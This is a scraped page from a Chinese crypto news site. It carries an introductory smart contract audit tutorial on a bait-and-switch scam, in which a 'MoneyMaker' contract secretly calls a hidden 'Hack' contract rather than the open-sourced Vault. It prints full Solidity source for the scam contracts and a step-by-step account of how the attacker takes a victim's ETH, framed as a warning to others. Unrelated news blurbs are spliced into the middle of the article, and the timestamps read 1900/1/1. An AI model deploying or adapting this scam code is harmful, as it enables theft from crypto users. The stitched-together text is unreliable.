買以太坊 買以太坊
Ctrl+D 買以太坊
ads
首頁 > 區塊鏈 > Info

ULT:智能合約安全審計入門篇 —— 移花接木_Moon Maker Protocol

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用tx.origin進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個A合約并告訴受害者我們會在部署A合約的構造函數中傳入B合約的地址并將B合約開源,其實我們會在部署A合約時傳入C合約的地址,如果受害者完全信任我們沒有檢查部署A合約的那筆交易,我們就完美的將惡意代碼隱藏在了C合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約A傳入合約B地址,這樣調用路徑為正常路徑。

實際的調用路徑:

央行數字人民幣智能合約預付資金管理產品“元管家”正式發布:9月8日消息,人民銀行數字貨幣研究所8日在2022第二屆中國(北京)數字金融論壇上發布了數字人民幣智能合約預付資金管理產品-“元管家”。“元管家”在數字人民幣的錢包上部署智能合約,在預付消費服務場景提供防范商戶挪用資金、保障用戶權益的解決方案。(財聯社)[2022/9/8 13:15:57]

部署合約A傳入合約C地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

波卡生態智能合約平臺Clover與BoringDAO達成戰略合作:1月28日消息,波卡生態智能合約平臺Clover Finance宣布與跨鏈協議BoringDAO達成戰略合作,雙方將共同探索波卡生態跨鏈資產在DeFi中的應用。BoringDAO是一個去中心化的資產橋,將助力Clover平臺DApp資產的多鏈高效流通,同時Clover作為波卡生態的智能合約平臺,將為BoringDAO提供便捷的基礎設施,助力BoringDAO接入波卡生態。[2021/1/28 14:14:41]

騙局分析

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的A,B,C三個角色來區分三個合約分別代表什么角色:

MoneyMaker合約代表A合約;

Vault合約代表B合約;

Hack合約代表C合約。

所以用戶以為的調用路徑為:

MoneyMaker->Vault。

動態 | 以太坊聯盟推出智能合約評級系統:以太坊聯盟推出智能合約評級系統,類似于穆迪(Moody's),但適用于基于區塊鏈的智能合約。為區塊鏈用戶提供一種簡便方法來確定智能合約是否安全。(Cryptobriefing)[2020/2/4]

而實際的調用路徑為:

MoneyMaker->Hack。

下面我們來看看攻擊者如何完成騙局的:

1.Evil部署Vault(B)合約并在合約中留存100ETH資金,在鏈上將Vault(B)合約開源;

2.Evil部署Hack(C)惡意合約;

3.Evil放出消息說他將會部署一個開源的賺錢MoneyMaker(A)合約,部署時會將Vault(B)合約地址傳入且會調用Vault.setMacker()將maker角色設置為MoneyMaker合約地址,任何人調用MoneyMaker.makeMoney()向合約中打入不少于一個以太都會得到雙倍以太的回報;

聲音 | CFTC專員:在編碼智能合約時要遵守CFTC的規定:美國商品期貨交易委員會(CFTC)專員Brian Quintenz周二在迪拜舉行的一次活動上表示,智能合約可以“輕松定制,在適用性方面幾乎無限”,甚至可以用來復制傳統的金融工具。一些區塊鏈協議也允許個人創建自己的智能合約,更廣泛地預測未來事件。但Quintenz同時提醒智能合約編碼人員,要遵守CFTC的規定,不能越界。[2018/10/17]

4.Bob收到消息,了解到MoneyMaker合約的存在,他看了MoneyMaker(A)和Vault(B)合約的代碼并檢查了Vault(B)合約中的余額發現邏輯確實如Evil說的那樣,他在沒有檢查MoneyMaker(A)部署交易的情況下就相信了Evil;

5.Bob調用MoneyMaker.makeMoney()向合約中打入自己全部身家20ETH,在他滿懷期待等著收到Vault(B)打來的40ETH時等來的卻是一句"Haha,youretherismine!"。

動態 | 新增代幣型智能合約HOC、EDT和LUSDt風險最高:區塊鏈項目評級機構RatingToken最新數據顯示,2018年7月9日全球共新增1301個合約地址,其中386個為代幣型智能合約。RatingToken發布的“新增代幣型智能合約風險榜”中,HOC、EDT和LUSDt風險最高,檢測得分分別為2.68、2.73和2.85,風險項最多達15個。其他登上該風險榜TOP10的還包括IPG、yxT1、SN、AC、QUIG、MOKO、BGG。[2018/7/10]

咋回事呢?其實這個騙局非常簡單但是很常見。Evil在部署MoneyMaker合約時傳入的并不是Vault合約的地址,而是傳入了Hack合約的地址。所以當Bob調用MoneyMaker.makeMoney()時并不會像他想像中的那樣MoneyMaker.makeMoney()去調用Vault.transfer()回打給他雙倍的以太,而是調用了Hack.transfer()拋出了一個事件:"Haha,youretherismine!"。最后Evil調用Vault.withrow()將Vault合約中的100ETH轉出,并通過Hack.withrow()將Bob轉入的20ETH轉出。

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

Tags:MAKEMakerULTVAULTMAKE幣Moon Maker ProtocolTOPDOG Vault (NFTX)GLYPH Vault (NFTX)

區塊鏈
ALA:Khala Crowdloan及Vendetta測試網獎勵已發放_HAM

巴比特訊,7月23日,官方消息,KhalaNetwork已經在此前的Kusama平行鏈插槽拍賣中成功贏得第四個卡槽,共計獲得132,280枚KSM支持,分別來自2,759個貢獻地址.

1900/1/1 0:00:00
BAN:Bankless:共享排序器,讓Rollup更加去中心化_HydroLink

原文作者:?563? 原文編譯:深潮TechFlow目前的Rollup架構仍然依賴于中心化排序器來處理交易順序,并存在著被審查和停機風險,因此急需一種簡單方便的去中心化解決方案.

1900/1/1 0:00:00
虛擬資產:香港SFC為虛擬資產交易平臺申領牌照提供過渡安排_JPEX

金色財經報道,香港證券及期貨事務監察委員會6月1日將正式落實虛擬資產服務商新發牌制度,為給現時在香港營運的虛擬資產交易平臺提供合理足夠時間,以便申領牌照或以有序方式結業,香港政府提供過渡安排.

1900/1/1 0:00:00
NFT:數字時代 LG 和三星繼續爭奪客廳霸主地位,NFT 電視要崛起了?_Hurricane NFT

LG電子申請了一種便于NFT交易的電視專利,進一步進軍NFT領域。三星電子在2022年初進行了大膽的創新,三星電子正在這個領域建立自己的影響力.

1900/1/1 0:00:00
比特幣:晚間必讀 | 做數字黃金還是成為以太坊殺手?比特幣站在了十字路口_區塊鏈的幾個大騙局

1.共享排序器:Rollup漸進式去中心化解決方案如果你是像我一樣的DeFi迷,你應該會喜歡有個好用的rollup,讓代幣互換、貸款、借款和交易體驗順暢無摩擦,這在幾年前似乎是遙不可及的.

1900/1/1 0:00:00
ACC:Accumulus:聚焦長期穩定價值的香港虛擬資產生力軍_虛擬資產

中國企業500強云賬戶技術有限公司,獲批逾11億港元境外投資額度,在香港注冊成立云賬戶大灣區科技有限公司,進軍Web3.0領域.

1900/1/1 0:00:00
ads